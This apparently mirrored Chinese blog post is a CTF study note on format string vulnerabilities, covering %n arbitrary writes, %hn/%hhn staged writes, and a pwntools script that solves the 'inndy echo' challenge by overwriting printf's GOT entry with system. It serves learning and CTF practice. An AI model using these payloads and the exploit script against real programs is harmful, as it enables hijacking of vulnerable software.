zoukankan      html  css  js  c++  java
  • 某大学社课(1):格式化字符串漏洞利用

    最近pwn遇到瓶颈,考虑看一下某大学的社课系列,找一下感觉,顺便理一下思路之类的

    写了三个小时博客,然后火狐崩溃了,我一直在博客园ctrl + s,但是最终一点东西都没了,真好

    之前的不管了,今天白天再从任意地址写开始吧,悟以往之不谏,知来者之可追。
    之前留存的几张截图


    任意地址写

    %n可以对任意地址写入值,写入的值是已经输出的字符数
    输出为8

    #include <stdio.h>
    
    int main()
    {
    	int a;
    	printf("aaaaaaaa%n
    ",&a);
    	printf("%d
    ",a);
    }
    

    任意地址写的payload

    <addr>%100c%10$n
    

    (32位下)向格式化字符串的第十个参数写入104

    利用方法

    更为常见的利用方法:比如要改写一个地址,用%c$n的方式会输出大量的字符串,我们通常会选择%hn(写入short大小的整数)和%hhn(写入char大小的整数),然后分多次来写入
    即,单次printf多次写入

    注意:之后每次%xxc必须减去前一个写入byte的值,因为%n是总输出字符数

    类似printf的函数

    __stack_chk_fail Hijack的利用方法

    BP chain技术:利用连续的call 改 bp从而达到在栈上某个位置写入的目的

    inndy echo

    把printf的got的内容改为system的plt即可

    from pwn import *
    
    local = 1
    
    binary = "./echo"
    libc_path = '../libc-2.23_32.so'
    port = "27562"
    
    if local == 1:
    	p = process(binary)
    else:
    	p = remote("node3.buuoj.cn",port)
    
    def dbg():
    	context.log_level = 'debug'
    
    context.terminal = ['tmux','splitw','-h']
    
    # arg location:7
    # aaaa %p %p %p %p %p %p %p
    libc = ELF(libc_path)
    elf = ELF(binary)
    printf_got = elf.got['printf']
    system_plt = elf.plt['system']
    print "[*] printf:",hex(printf_got)	#0x804a010
    print "[*] system:",hex(system_plt) #0x8048400
    
    payload = fmtstr_payload(7,{printf_got:system_plt})
    print len(payload)
    print payload
    p.sendline(payload)
    
    # gdb.attach(p)
    p.interactive()
    
  • 相关阅读:
    CF1036C Solution
    CF1041E Solution
    CF1043E Solution
    CF1054D Solution
    CF1032D Solution
    题解 P6194 【[EER1]苏联人】
    题解 CF1324A 【Yet Another Tetris Problem】
    题解 CF1325A 【EhAb AnD gCd】
    题解 CF1325B 【CopyCopyCopyCopyCopy】
    题解 AT5805 【Bishop】
  • 原文地址:https://www.cnblogs.com/lemon629/p/13871782.html
Copyright © 2011-2022 走看看